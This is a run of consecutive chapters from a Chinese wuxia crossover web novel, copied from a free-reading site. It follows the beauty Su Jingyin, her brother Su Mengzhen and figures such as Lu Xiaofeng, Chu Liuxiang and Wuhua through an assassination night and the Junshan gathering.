这时屋外传来几许响动,苏梦枕转头望去,舱门倏而被人推开,苏镜音站在门外,怔怔的看着他。 他就立在那里,孤寞寂寥,窗外碧波寒江,残阳如血,皆浮于他身后,温暖柔和的落日余晖洒在他身上,映得他往日里苍白冷隽的面容都有了一丝光采,眼瞳中终年不灭的寒火也好似有了温度。 苏镜音禁不住有些失神。 但他一开口说话,那温暖柔和的滤镜一下子就碎了。 碎得干干净净。 苏梦枕蹙眉看她,“苏镜音,我记得你今日才练刀不过半柱香。” 苏镜音:“……” 她刚才铁定眼睛出问题了,就这冷漠无情的钢铁直兄,哪来的什么温暖柔和? 苏镜音脚步虚浮,恹恹地飘了进来。 然后准确无误地飘到了软塌上。 屋中点了辟寒香,满室暖气翕然,不多时也熏淡了血腥气,因而她并未发现自家兄长方才又咳了血。 “哥哥……” 苏镜音委委屈屈,哭诉的同时,还不忘揪过毯子给自己裹上,“我头晕,胸闷,浑身乏力,还恶心。” 苏公子在桌边坐下,随手倒了杯茶,静静看她表演。 但苏大小姐是什么人,她可是坚持五年兢兢业业偷懒的人,没人配合她也能继续演下去,“我觉得我可能是晕船了。” 苏公子不疾不徐地指出,“今日晕船,昨日也晕船,对了,前日之前你还晕马车。” “嗯……女孩子总是身体比较柔弱的。” 苏梦枕冷笑一声,放下茶盏,毫不留情地点破,“你还有什么是不晕的?” 苏镜音:这实话我怎么能告诉你呢,不练刀就不晕了。 “可能明天就不晕了。”她说。 “昨日你也是这么说的。” “……昨天我没想到今天竟然还会晕嘛。” 苏镜音虚虚弱弱地叹了一口气,“唉,都怪我这身体不争气。” 真正身体不争气的苏公子:“……” 苏梦枕都被她给气笑了。 这五年来她躲懒摸鱼的理由五花八门,天花乱坠,用她坚持不懈的努力,生动形象地演示了什么叫三天打鱼,两天晒网。 哦,还有那剩下的二十五天,晒咸鱼。 更让苏梦枕觉得可气的是,他明知道她就是在躲懒,可若没有他的心软放纵,她怎么可能整整五年,红袖刀法只练会了不到三十招。 且还是半桶水当啷响的三十招。 苏梦枕揉了揉额角,被气得脑袋一抽一抽的疼。 他深深叹了口气,“罢了……在船上这几日先不练了。” 看吧,他终究还是又心软了。 “真的?!”苏镜音噌地一下坐了起来。 苏梦枕眯了眯眼,目光中带着显而易见的危险。 “……我就知道兄长最好了。” 晕船的苏大小姐虚虚弱弱地说完,又虚虚弱弱地瘫了回去。 苏梦枕:“……” 苏大小姐这么一瘫,就瘫了几天,瘫到了船泊君山。 她钓的那只小鱼崽崽,就炖汤这一问题,难倒了整个船上的厨子,最后鱼崽子逃过一劫,只能让厨房养了起来,养肥了再炖不迟。 再过两天就是君山大会,洞庭口岸 6. 美人刀 《[综武侠]祸水美人她好难》全本免费阅读 陆小凤已经在洞庭口岸等了两天了。 自下了金风细雨楼的船后,他吃不好睡不香,每叹一口气都要念一句苏姑娘,念得花满楼耳朵生茧,都不知道苏姑娘三个字怎么写了。 离岸不远有个茶寮,花满楼陪着陆小凤灌了两日的茶,见这一头栽进爱河的浪子又提了壶要给他斟茶,他合起扇柄推了一下,陆小凤心里有事,没看懂花七公子无声的拒绝,又给他倒上了满满一杯。 花满楼:“……”我真是谢谢你了。 江边风大,一口茶一口风的灌下去,整整两日,腹内的波涛,比那长江洞庭的浪潮还要来得汹涌澎湃。 他摇头叹气,温润如玉的公子从来洁身避色,此回却是平生第一次,那么祈盼一个姑娘的到来。 无它,只因他实在不想再灌冷茶了。 岸边传来一阵骚动,花满楼目盲多年,耳力比之常人灵敏数倍,在喧嚣鼎沸的人声中,明确捕捉到了「金风细雨楼」「苏楼主」等字眼。 花公子折扇一摇,对着某只望穿秋水的小凤凰温声笑道,“你的苏姑娘似乎来了。” “在哪儿?!” 陆小凤噌地一下站了起来,凳子猝然倒地,发出极响的砰声,引得旁边不少人皱眉看去。 可浪子已顾不上旁人了,他看见了墨色与烟紫交缠的两道身影,脚下一滑,踏着他双飞彩翼的绝顶轻功就掠了出去,红色披风猎猎作响,花满楼只觉一阵急风飘过,步声就已远去了。 这还是他认识的那个风流多情的陆小凤吗?只怕这浪子时至今日才情窦初开,这种话说出去都没人相信的吧? 陆小凤急掠而去,眼里只看得到那片掩于浓墨之下的烟紫裙角,避开人来人往,直到掠至近前,才发现原来此处早有其他人。 剑眉星目的少年一袭青裳,清新俊逸,衣上三两补丁,面上虽带笑,可那笑意在看向苏镜音时,却是隐隐有些僵硬,不若往日的稳重之感。 这青裳少年便是此次君山大会的主人公,即将继任丐帮帮主的南宫灵。 南宫灵今日本是要来接待峨眉掌门的,可出乎他意料的是,竟会在洞庭湖畔偶遇上苏梦枕一行人。 虽然他兄长早已严词告诫过,南宫灵也对那苏大小姐的美貌提前有了些心理准备,但想象与现实向来存在差距,直面这位举世无双的绝色美人,与那…… 终究还是不同的。 他准备的还是太少了。 南宫灵毕竟尚且年少,平日处理帮务再如何老成达练,在剧烈的心绪波动之下,还是隐约透露出了些许端倪。 满眼只有心上美人的陆小凤都看出来的事,苏梦枕自然早已察觉,只是面上不动声色,只作不知。 南宫灵方才那目光,倒有一瞬像极了无花,只不过并非惊异,而是更显惊愕。 苏梦枕敛下眸子,掩住了逐渐转冷的目光,此番事态尚不明朗,在未弄清楚情况之前,以不变应万变是为上策。 绝世的美人未曾遮挡容颜,周遭不时传来惊呼与骚动,隐隐还有越演越烈的架势。 一轮客船恰在此时靠岸。 船头站着一个老人,面容严肃沉毅,腰佩一刀一剑,剑上嵌着一个黄铜八卦。 那是峨眉掌门随身配剑的标志。 据说现今武林七大剑派中,当属峨眉掌门独孤一鹤的武功最为高绝,他带艺投师至今五十年,自行将霸道的刀法与峨眉阴柔的剑法两相融合,开创了「刀剑双杀七七四十九式」的绝学,在武林中威名远扬。 可这位有着赫赫威名的老人,在不经意瞥见骚动人群的那一刹,眼睛却是霍然大睁,刚毅的面容上唇瓣颤动,似有无数怅慨之言,难以诉说。 “师父,你怎么了?”身后最小的,也是最活泼的女弟子石秀雪疑惑地看着自己师父,他们修为不够,目力不足,岸边的骚乱看不太清。 可师父向来都是沉毅冷静的,他们这些弟子大多是他从小养大的,十几年来,从未见过他这般按捺不住激动的样子。 师父究竟看到了什么?? 老人摆了摆手,只喟然长叹了一口气。 浅衫烟雨客,似是故人来。 他果真是老了,竟连人都认不清了。 本是因为南宫灵是君山大会的东道主,苏镜音才抬起头来打了声招呼,此时见着周遭动静开始喧闹,她赶紧转头,将脸重新埋入自家兄长的颈窝下。 温热柔软的呼吸洒在颈骨边,苏梦枕身形微僵,轻轻按住了她,转而不悦地扫了一眼周遭,冷厉摄人的目光如刀锋一般,瞬间定住了骚动的人群,江岸边顿时平静下来不少。 南宫灵年纪虽轻,但处事周全,丐帮的君山分舵中,早已提前备好各大门派的住处。 他招了招手,唤来身后的丐帮弟子,让他为金风细雨楼一行人带路。 苏梦枕从头到尾一直面色淡漠,很快便抱着苏镜音先行离去,只留下一只心情低落的小凤凰,以及目光闪烁的南宫灵。 隐于僻静巷口的黑衣忍者一闪而逝。 当晚,黑衣忍者借着夜色,身形如鬼魅般潜进分舵中心,落入南宫灵房间。 南宫灵早已等着他,一见来人立即喊了声兄长。 黑衣忍者慢慢揭下面巾,露出一张俊美出尘的面容,衬得满室辉光。 白日里光风霁月、心有菩提的佛子,在夜色掩映之下,却成了鬼魅伎俩的邪魔外道。 “小灵,你今日险些暴露。”佛子的眼睛从来都是慈怀悲悯的,此时却像是幽黑的潭水,刺出了一道阴冷的目光。 南宫灵一向尊敬这个兄长,一听他语声冷冽,忙不迭开口认错,“兄长,是我的错,我没想到她长得与那……” “你没想到?!” 无花骤然打断了他的话,“我日前才与你说过,你竟都当耳旁风了?” 南宫灵抿了抿唇,颓然低下了头。 无花语气温和下来,此时的他倒是颇像个为弟弟考虑的兄长,“你白日表现异常,晚些时候你去寻楚留香,让他为你做个不在场的证人。” “兄长要亲自出手?!” 南宫灵甚是担忧,“可我今日听说,那苏梦枕的红袖刀法已练至臻化境……” 南宫灵从前只听得,江湖上有不 7.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 无花凝望少女片刻,忽而悄然跃下,无声落地。 仿佛被蛊惑般,俊美出尘的面容逐渐浮现出几许迷醉之色,他不由自主的,慢慢走近了他的画中神女。 佛子轻挑绫罗帐,倦倚床栏看月晕。 少顷,佛子缓缓倾身而下,沉睡中的少女无知无觉,浓密的眼睫如蝶翼般轻轻颤动,无意之间,撩人心弦。 无花只觉自己的心,也随之颤了颤。 离她越近,他越沉沦。 只要得已靠近她,哪怕让他下一刻就堕入无间地狱,他也万般甘愿。 只是终究有人不肯让他如愿。 一个凄艳的人,一把凄艳的刀。 一道红光骤然划破寂静夜色。 刀影浮动,暗香萦绕。 浅浅低吟,如泣如诉。 刀光袅袅如美人倩影,刀身簌簌似美人低吟,刀风流转若美人幽香。 如此秾艳风情的一记刀,如此诡谲凌厉的一个人。 苏梦枕!红袖刀! 黑衣忍者大惊,立时反身急退,掀起一阵诡异罡风。 凛冽杀机,显露无遗! 红光并不曾因他的退去而停下,忍者再次险险避过,屋内狭窄,若打起来容易误伤,他看了一眼在睡梦中蹙起眉的少女,咬了咬牙,只得从窗户飞身而逃。 苏梦枕冷眸微眯,他倒要看看,这藏头露尾的蒙面高手究竟是何人! “保护好小姐!”苏梦枕扔下这么一句话,未待茶花反应过来,脚下已然踏起「瞬息千里」的轻功,迅速追了出去。 一个忍术遁逃快如鬼魅,一个绝顶轻功瞬息千里,君山四面环水,不多时,黑衣忍者就被苏梦枕追到了洞庭湖岸边缘。 忍者腰间垂挂一柄武士长刀,此时缓缓拔出,举刀而立,仿佛随时都会一刀斩下。 但他却并不立即出手。 “你为何要追来?” 苏梦枕听到他如此问道。 不知是不是修炼忍术法门的原因,忍者此刻的眸光略显妖异,加上手中森寒刺骨的刀光,若非眼下对面之人是苏梦枕,换作常人,只怕早已被那诡异杀气震得夺路而逃。 苏梦枕冷笑一声,觉得他这话实在问得好没道理,“不提你深更半夜行动鬼祟,就凭你妄想对舍妹行不轨之事,阁下这条命,苏某就算追到天涯海角,都要提刀取下!” 黑衣忍者全身上下裹得密不透风,只留下一双握刀的手,以及一对妖异却隐露痴狂的眼睛。 “我绝不会对她不轨。” 忍者的眼瞳中闪烁着光采,他开口之时嗓音低沉,略带了些许嘶哑,好似含着十二万分的炙热爱意。 “我是在保护她。” 苏梦枕无语凝噎:“……” 这是个什么品种的跟踪狂?? 对方此时的情态如痴若狂,实在算不上正常,多说无益,苏梦枕不欲再与他废话,袖中红光一闪,立时飞身疾掠袭去。 二人身形同时闪动。 一长刀,一短刀。 长刀碧绿森寒,短刀绯艳透骨。 刀影重重,刀风飒飒,碰撞相击之间,发出锵锵共鸣,谁也无法在短时间拿下谁。 黑衣忍者意识到这一点后,手中动作开始略显急切,他再度发出强力一击,揉身避开诡艳红光,疾步退后,不再恋战。 “盯上苏姑娘的,可不止是我,苏楼主若不赶紧回去,只怕为时已晚!” 忍者回刀抽身而退,一下撤出五六丈,高声抛下一句让苏梦枕脸色骤变的话后,鬼魅身形立时远去。 苏梦枕眸光愈寒,当即收刀入袖,脚下步法如风,疾速赶回君山别院。 与此同时,君山别院。 不知是有意还是无意,南宫灵安排给金风细雨楼入住的院落,位处最东边,与其它院落相距较远,此时此刻,满院出手狠辣的青衣杀手,外加满地蜿蜒爬行的毒蛇,竟也不曾惊动任何其他门派的人。 金风细雨楼原本隐于暗处的人手,当下纷纷现身对战,师无愧不在,发号施令的人是茶花,他整个人挡在自家大小姐门前,绝不让半个杀手有踏入这道房门的机会。 可青衣杀手实在太多,又有数十条毒蛇故意分散了他的注意力,因而他未能及时发现,隔着一道房门的屋内,此时已然溜进了一条恶贯满盈的漏网之鱼。 那是一个身形魁梧面目凶恶,长着一双倒三角形眼的乞丐。 他的皮肤嫩白如大家闺秀,手中握着一柄捉魂如意 8.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 苏梦枕一路疾掠,已至院门之处。 院内此时还活着的,还站着的,只余金风细雨楼之人。 周遭血流满地,渐渐汇聚成河。 悬挂夜幕之上的明月洒下粼粼辉光,人间映照倒影。 倒影之中一轮血月。 凄美无比,不祥至极。 苏梦枕眉头紧蹙,踏入院中,第一时间抬眼望去,屋门窗棂几乎全都残破不堪,刀痕遍布。 他心头一惊,脚下步法愈发急促。 与此同时。 少女眼瞳之中,冰霜尽融。 魑魅之影猝闪,瞬间消弭无形。 须臾后,苏镜音再度睁开双眸时,眼前骤然间被一双手遮挡住了光亮。 那是一双常年握刀的手,微浮薄茧,虽有些寒凉,并不温暖,却反而让人觉得分外心安。 “别看。” 苏镜音听到他说。 她想要说话,可呼吸之间涌入的,全是异常浓稠刺鼻的血腥之气。 苏镜音身子一僵,下意识伸手握住了他的手,想要将它从眼前挪开。 方才获取一丝光亮,下一刻,却又立即被他牢牢按入怀中,再度遮蔽住了视线。 “不是什么好看的。” 苏梦枕的呼吸似乎略显急促,说话之时,原本清泠朗润的嗓音也带了些许哑意。 他一直都是知道的,她从来不喜欢杀人,也不喜欢见血。 苏镜音微微摇头,抬起手一点点抚上了他的手臂胸前,最后,落在了他清瘦却宽阔的肩头之上。 “兄长受伤了?”她问。 “我没受伤。” 苏梦枕心下忽觉柔软似水,他明白了她的意思,抬手轻拍了拍她削薄的脊背,温声说道,“别担心,那些……是别人的血。” 虽然不知道究竟发生了什么事,但不论如何,只要她没事,就怎么样都好。 其它的问题,他都一概会为她解决干净。 苏镜音一听他没事,当即松了口气,只是她这人一旦放松下来,就又想彻底瘫下去了。 她没忍住打了个呵欠,眼瞳中立时沁出了水雾蒙蒙,苏镜音毫不客气,全都一股脑抹到了自家兄长的衣襟上。 苏梦枕好气又好笑的揉了揉她狗头,把苏镜音一下都给揉炸毛了,逗得她气得差点没忍住一口咬死他。 毕竟此时她还被他强行按在怀里,再往上一点,她狠一狠心,就能咬到他脖子脉搏的所在,干掉这个江湖一大势力的霸主。 “屋子毁成这样,肯定是睡不了人了。” 苏梦枕说道,“你今晚暂且先在我那里睡,有什么事明天再说。” 苏镜音又忍不住打了个呵欠,点点头说,“好。”这个点本就是该她睡觉的时候,虽不知道怎么回事忽然醒了,但她眼下也实在是太困了。 她本想自己起来,但苏梦枕却是直接将她打横抱起,面庞仍是被他按在怀里,似是不想让她看见屋中院内的一切。 苏镜音的睡眠质量一向特好,常常都是说睡就睡,此时生物钟作祟,鼻端充盈着令她安心的气息,对于面见周公这等大事,那是半点都不带拖泥带水的。 至少在苏梦枕刚踏出院门时,他就感觉到手上那团小东西,已经彻底瘫软了下去。 苏梦枕无奈,猪都没她这么能睡。 他的一缕发丝被寒凉的夜风吹到她脸上,这姑娘皱了皱眉,无意识扒拉了几下,没扒拉开,在睡梦中她都烦躁了,气咻咻的,嘭地一下就赏了他一记粉拳。 苏梦枕:“……” 等他把那团软绵绵的,写作妹妹、读作小废物的不明生物放到床上,被子一盖,她睡着却也能自觉一裹,立时继续睡了个昏天黑地,只怕再来一场刺杀都轰不醒她。 等苏梦枕安顿好自家小废物,一直沉默跟在身后的茶花,见状立即上前禀告今夜之事,他知道自己差点没能保护住大小姐,开口就先告了个罪。 事情该发生的都已经发生了,苏梦枕对自己每个下属的能力都十分了解,他知道茶花已是尽他所能了,若有过便当该罚,但此事对方是有备而来,并非茶花之过。 如若真要说,错的人应当是他,他不该,在明知可能有危险的情况下,为了追那忍者而将她一人独自留在房间里。 茶花很快就将他离去之后发生的事情,前前后后,一五一十全都阐述清楚,只是在苏梦枕问到,最后是谁杀了那些青衣杀手的时候,他摇了摇头,只道不知。 茶花武功稍高还好一些,以他的目力,能隐约看见几道紫色刀光飞速掠过,那些手下就基本都是一问三不知了。 本来好好的干着架,对方忽然说嗝屁就嗝屁了,他们也是很懵逼的。 苏梦枕神色难辨地坐在床边的软塌上,这是他今夜临时的栖身之处。 刚进院内那会儿他满心焦急,后来安下心来,抱着自家妹妹,一步步跨过成片的杀手毒蛇的尸首时,他才注意到那些人与蛇的死法,无一不是一刀毙命。 同时也逐渐发觉,那些刀口,倒是与那黑衣忍者的武士长刀有些相似,但苏梦枕与他交过手,他很确定,这不是那人能造成的刀口。 那刀口太果决,太迅疾,也太势不可挡,换作是苏梦枕自己,只怕也很难同时造成这么大范围的杀伤力。 这等绝世高手,江湖上至今还未曾听说过半点风声。 究竟会是什么人物所为?是敌是友?与那黑衣忍者是否有关系?? 苏梦枕思忖良久,仍是未曾想通,总觉得好像有什么地方被他不小心忽略了。 夜深人寂,孤灯独影。 自家只会吃只会睡的小废物,踢了小半个时辰的被子,苏梦枕头疼地揉了揉额角,再度起身,第三次去为她盖回被褥。 他从来都不知道,这姑娘平日不让人省心,竟连睡个觉都这么折腾的。 可当苏梦枕再次为她盖上被子,手不小心触到了她细嫩柔软的面颊,感受到滚烫的温度时,他才恍然明白,她今夜为何会一直踢被子。 她发热了。 苏镜音知道自己在做梦。 她隐隐约约听到了兄长的声音,茶花的声音,好像还有一个大夫的声音,她想睁开眼睛,想张口说话,可是她的身体完全脱离了她的掌控,躯壳与灵魂仿佛割裂开来,分成了相互矛盾的两半。 一半沉坠深渊,一半漂浮不定。 她动弹不得,无能为力。 她清醒地看着自己的灵魂脱离躯壳,越飘越远,最后停浮在一片紫烟色的幻境之中,那里云雾缭绕,寂静无人。 像是襁褓中的婴儿回到了母亲的怀抱,她觉得这个地方,温暖宁和,令她不自觉沉迷,慢慢的,她开始忘了自己在做梦,十几年冗杂的记忆碎片渐渐褪去色彩,只余下独属于诞生之初的空茫。 可是她总觉得自己好像忘记了什么,这种感觉令她陌生又不安,她努力想抓住什么,可是每当抓住点东西,它就会立马变成云雾从指缝中溜走。 正当她惊慌又失措的时候,一个穿着雪青色长裙的女人忽然出现,她的脸被缕缕云雾笼罩着,苏镜音看不清她的脸,但她却能知道她长得很美,很美,她听到她用极为温柔慈爱的声音 9.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 苏镜音本以为,喝完那碗苦炸天的药就算结束了。 但没想到,那竟只是个开始。 她已经跟着她无爱的哥哥吃了两顿的药膳了。 怎么说呢,味道清淡无味到,苏镜音现在看到姜都想生啃两口。 她含泪咽下了午饭的最后一口青菜,刚放下筷子,就听到她哥忽然良心发现似的,问她,“今日晚膳想吃什么?” 苏镜音怔了怔,眯起了眼睛看他。 看他唇角微勾,看他眉目温柔,看他端着一副全天下最好的哥哥般的样子,轻轻地摸了摸她的小脑瓜。 她仿佛嗅到了一丝不寻常的味道,若要给这味道说个名,那便是阴谋。 但她还是没忍住多问了一句,“我想吃什么就能吃什么?” “嗯。”她哥微微颌首,温柔得让人瘆得慌。 唔,苏镜音不争气的心动了。 她明明知道,她哥虽因为病体寒弱的缘由,外表看上去面色苍白,哪哪都白,但其实根本就不是什么清纯小白花,这人的心肝可黑可黑了。 可她还是没忍住诱惑,她不像她哥那么有病,她没病,她实在不想再吃药膳了。 “……条件呢?”她犹豫着问。 “你我兄妹之间,哪还需要讲什么条件。”苏梦枕爱怜地摸了摸某个小傻子的脑袋。 “那我想吃……” 苏镜音一句话方才开了头,就被她那个黑心肝哥哥毫无感情地打断了。 “昨日教你的那三招,什么时候学会了,什么时候换菜色。” 苏镜音:“……” 这就是你特喵说的兄妹之间不需要讲条件?? 一整个下午,苏镜音都在生无可恋的练刀。 她练了多久,苏梦枕就站在一旁看了多久。 公子一袭素衣墨裘,眉眼沉静,眸若寒星,他心事重重,静静地站在檐下,目光却从未离开过她的身影。 他的妹妹如今还太过脆弱,只是遭遇一场刺杀,便能将她吓得发起高热,若是他以后不在,她还仍然不敢动手,连杀人的血都不敢见,就凭她那般容貌,他给她留再多的心腹,或许都难以护得住她。 他身体孱弱,天不假年,护不得她一世。 她必须自己成长起来。 人间已是深秋色,枫叶翻丹似落花。 楚留香与无花几人踏入院中时,一眼望见的,就是在一树红枫之下舞刀的绝世美人。 红袖刀极美,美得令人一眼难忘。 可一个冷艳入骨的美人,持着一把冷艳入骨的刀,珠缨炫转,花鬘斗薮,这样的景色,遍寻人间,难能一见。 南宫灵看了一眼,没能移开视线,第二眼,他下意识看向了从来冷情冷心的兄长。 他看着他唇角含情,佛珠顿止,就知道完了。 他的兄长,与他的母亲一样,疯了,都疯了。 苏梦枕掩唇轻咳了几声,方才惊醒了魂飞天外的楚留香。 楚留香已有几日,未曾见着这位美得惊人的苏姑娘了。 那位从东海沿岸追他到洞庭湖畔的姑娘,名唤宫南燕,是神水宫水母阴姬座下弟子。 日前神水宫镇派之宝天一神水失窃,宫中一弟子为此负罪自裁,纵观整个江湖,能有如此风流魅力勾引宫中弟子,又有那般绝顶轻功窃取神水的,除了盗帅楚留香,不作二选。 宫南燕说是奉命追查,其实早已认定是楚留香所为,途经洞庭君山,南宫灵以丐帮情报网络遍布天下为由,将人暂且按捺下来,送了楚留香一个得已解释的人情。 但楚留香也因此不得不替神水宫追查此事,毕竟若是找不出真正的犯案之人,这口锅他不背也得背了。 名气太盛就是这点不好,江湖上但凡有点什么动静,第一时间想到的,全是他们,每每背完一锅,还有一锅。 哦,此处的他们,还包括总是麻烦缠身的陆小凤。 昨夜天一神水之下,终于出现了第一个被害者,那是关中首富,经营珠光宝气阁的阎铁珊,阎大老板。 天一神水又称重水,是水母阴姬自水中提炼而出,无色无味,毒性极为猛烈,一滴神水融入体内,就会立刻膨胀成三百桶水的重量,可想而知,人体自然承受不住这般负重,最终结果只能是全身爆裂而亡。 楚留香今早刚查出阎铁珊之死与青衣楼有关,就听说金风细雨楼所在别院,昨夜遭受了青衣楼杀手的袭击。 昨夜别院的动静其实未曾传出去,只不过毕竟是在丐帮地界,风雨楼的人一大早处理尸首的时候,告知了丐帮弟子一声,很快南宫灵就派了不少弟子过来帮忙,一具具尸首抬出来,蛇的不论,光是青衣杀手的尸体,至少就有半百之数。 按风雨楼弟子对外的说法,那些杀手全是冲着他们楼主而来,但楚留香却觉这话水分颇大。 苏梦枕作为一方势力之主,遭遇的刺杀多不胜数,听说常年高挂杀手的悬红榜首,但是此五年间,去 10.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 苏镜音曾抽着嘴角,听茶花说起两只浪子风流史上的红颜知己连起来,比他攒了个把月没洗的袜子还要多的论调。 如今再看楚留香,她总觉得馊了。 苏镜音武艺不精,五感不灵,等到几人踱步走近,她手中的红袖刀才停了下来。 楚留香是来寻苏梦枕的,他才走到檐下,就听苏梦枕直截了当地开口道,“楚兄来此,是为青衣楼之事?” 苏梦枕与人谈事,说话大多都是开门见山,从不喜欢绕弯子。 他这一生,老天给的时间不多,若行谋略自是可以诡谲迂回,毕竟人心难明,若想达成目的,单刀直入从来不是什么好法子。 但若要与人谈判论事,说话迂回只能是浪费他的时间精力,更遑论,苏梦枕自身武功已化臻境,手握一方势力,他有这个直截了当、旁人无可置喙的底气。 楚留香咽下了即将出口的寒暄之言。 “是。”他颌首道。 苏梦枕拢了拢袖,转身进屋,楚留香与南宫灵二人尾随其后。 红枫之下有一方石桌,几方石凳,苏镜音刚想趁机摸会儿鱼,才放下红袖刀,就见她兄长随即回身,凉凉一眼瞥了过来,“继续练。” 没人能这么残忍的对待一个美人,没人。 可惜她家苏哥哥不是人。 不是人的苏大魔王说完,看了茶花一眼,示意他行监督之责,然后才再度转身踏入厅堂。 苏镜音:“……”日哦。 苏大小姐偷偷瞪了一眼他的背影,重新苦恹恹地拿起了红袖刀。 无花不曾进屋,仍站在檐下,静静的看着她练刀。 一般来说,剑道多变,可柔可刚,有如西门吹雪的剑出无悔,也有如峨眉剑法的飘逸灵动。 而刀道霸道,刀中八法是为刺削、斩劈、扫撩、截抹,大多讲究个勇猛快速,气势迫人。 但苏梦枕体质寒弱,他使不来大开大阖的刀法,因而自行改创的红袖刀法便是反其道而行,诡谲凌厉,极阴至柔。 无花前一夜才与他交过手,对战时的刀感仍在,没人能比当下的他更为清楚,苏梦枕那一手有如黄昏细雨般的阴柔刀法,美则极美,但实则有多可怕,难以尽述。 然而…… 无花手中的佛珠轻拢慢捻。 他看着她复又扬起红袖刀,却心慵意懒,看着她一招一式地挥舞,却比之方才更显软绵无力……忍不住扬了扬唇。 苏姑娘的红袖刀法,美则极美,毫无杀伤力。 肩负督促重任的茶花也看着苏镜音,只不过却是一脸无语,他觉得他仿佛受到了智商上的侮辱。 在偷懒这件事上,大小姐真是从未偷过懒。 可摸鱼摸得这么明显,她是不是真当他傻? 他是老实了点,但他可不傻。 “大小姐。” 老实的茶花十分老实地提醒道,“公子说了,你若是仍学不会那几式,今晚还吃药膳。” 苏镜音扬起的刀顿了一瞬。 然而出乎茶花意料的是。 他家大小姐听完这话后,却彻底摆烂了。 整整三招呢,一个下午怎么可能学得会?苏镜音很熟练的开始自我说服,这种根本就做不到的事情,还不如干脆点,放弃躺平算了。 苏大小姐彻底泄气了。 这世上,没有什么困难是战胜不了她的。 “药膳就药膳吧……”苏镜音停下了刀,随手放在石桌上。 难吃一点也没什么,大不了她捏着鼻子吃就是了。 弄巧成拙的茶花:“……” 无花离了檐下,缓步走近。 “听闻苏姑娘昨夜病了?” 在君山地界,金风细雨楼的人于深夜急匆匆寻找大夫,这事瞒不住丐帮主事的南宫灵,南宫灵自然随即告知了兄长无花。 苏镜音正揉着酸软的腕子,闻言抬眼看向了这位出尘佛子,又听他柔声说道,“姑娘方才病愈,吃些药膳是极好的。” 论起道理来苏镜音都明白,但是,“它太难吃了。” 苏镜音漂亮的细眉蹙了蹙,她对药膳没什么意见,但她对它的味道很有意见。 她喜食辛辣,平日吃食口味也重,让她吃清淡无味的药膳,只觉和吃糠咽菜没什么区别,是狗吃了都得连夜做三菜一汤的那种报吃,也不知道她哥怎么吃得下去,还一吃这么多年的。 无花嘴角含笑,轻轻摩挲着手中佛珠,“不巧,在下的素斋做得还不错,药膳也略通一二,苏姑娘可要尝尝?” 苏镜音觉得有些稀奇,“大师会做菜?” “无花大师何止会做菜。” 苏公子谈事向来直接讲究效率,楚留香很快就走了出来,边走边将一张笺纸妥帖折好,放入衣襟里,而后才笑着说道,“七绝妙僧的其中一绝,就是烹馔。” 楚留香的长相其实偏为冷峻,挺鼻薄唇,苏镜音闻声回头看他,恰看到他敛眉肃容的模样,方觉有些冷酷薄情,又见他倏而唇角勾起,一笑起来如春风化雨,温柔又多情。 看着你时,仿佛用情至深,这世间唯此一人。 苏镜音顿时才明白,江湖上为何有那么多女子都对他趋之若鹜,情有独钟了。 就这俊美无俦的一张脸,就那温柔多情的一双桃花眼,搁谁谁顶得住啊! 苏镜音十分冷静的拿起红袖刀,用刀身当镜子照了照……嗯,多看看自己的漂亮脸蛋,再想想茶花的袜子论,就顶得住了。 “是楚兄谬赞了。” 无花单掌作揖,眸光柔和地看着她,“苏姑娘若是不嫌弃,在下不才,今夜愿为姑娘洗手作羹。” 苏梦枕眉目微动。 苏镜音觉得他这话听起来有点奇怪,但看他神情,仍是出尘脱俗一佛子,就也没太在意。 她摇了摇头,“大师亲自下厨,何来嫌弃一说。”反正再难吃,肯定也不会比先前那些更难吃了。 无花闻言,莞尔一笑。 楚留香厚着脸皮,理所当然地留下来蹭饭。 事实证明,盛名之下,并不是全都难副其实,至少无花的手艺确实不错,他比狗强,做了不止三菜一汤,刷新了苏镜音对药膳的认知。 这一顿晚饭虽然顶着自家兄长黑沉沉的脸色,但她还是出乎意料的吃撑了。 酒足饭饱过后,楚留香再不想告辞,也得告辞了。 但好在并不是没有收获的,托无花的福,有了这一顿饭的交情,苏镜音看他们的目光,已不再如此前那般冷淡了。 至少在第二日君山大会之时,无花跟随少林众僧站在一处,南宫灵作为继任帮主,跟着义父任老 11.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 “那位是峨眉派的掌门,独孤一鹤。” 她都发现了,苏梦枕自然不可能察觉不到,他循着感知看过去,眼底眸光微闪,但也没说其它,只低声与她稍作了介绍,而后又问道,“认识?” 苏镜音摇了摇头,抬眼瞥他。 我认不认识你心里没点逼数吗?? 苏梦枕低低一笑,微一颌首,掩唇咳嗽了两声,身后的茶花立时会意上前,接过命令后便急步离去。 苏镜音不认识,但独孤一鹤却是认识她的。 或者说,他所认得的,是她那张脸。 洞庭有归客,君山逢故人。 但独孤一鹤毕竟是个见惯大风大雨的老人了,在苏镜音显而易见的陌生目光之下,他的心绪很快就平静了下来,只是神色却仍似怅然若失般,低着头不知在思忖着什么。 他身后的七个亲传弟子,三英四秀皆被美人一笑勾得魂不守舍,因而没注意到师父举止神态间的不对之处。 大弟子张英风的老家就在汴京城内,是有名的泥人张传人,前不久他回家了一趟,此次君山大会,他与其它师兄妹并不同路,他是从京城匆忙赶来,在半道上才与师门会合的。 不久前他在京城茶馆里听书时,听那说书人重重拍着醒木,滔滔不绝讲起三十年前曾并列武林第一美人的水灵光、秋灵素,以及二十年前昙花一现,便绝迹江湖的明月美人……那时的张英风还在想,究竟得要美到何等程度,才能称得上是集天地明月之灵秀所造的美人? 张英风觉得,那时的他或许想象不出来,可如今的他,明明已然见到了真正的貌比灵秀,却仍难以相信,那是真正存在于世的美貌。 “那位是人吗?” 身后的小师妹石秀云喃喃出声,“怎么会有人能长成那样……” “月中姮娥若是不长那样,恐怕也不会引得天蓬一见堕凡胎罢……”三英中的二师兄苏少英自恍惚中回过神来,低声自语道,他是个身怀功名的举人,说话比起普通江湖人来,更添了些许文雅之感。 四秀中的大师姐马秀英又忍不住多看了美人好几眼,才有些不确定的说道,“……那位姑娘,好像是金风细雨楼的人。” 刚说到金风细雨楼,就见一位自称风雨楼之人的威武汉子过来求见峨眉掌门。 茶花不出意外很容易就与独孤一鹤说上了话,他拱手见了礼后,立马低声传达了自家公子的话,“今夜二更时分,我家楼主欲求见独孤掌门。” 独孤一鹤沉肃着脸,思忖片刻,才缓缓叹了口气,点头道,“那今夜,老夫就恭候苏楼主大驾了。” 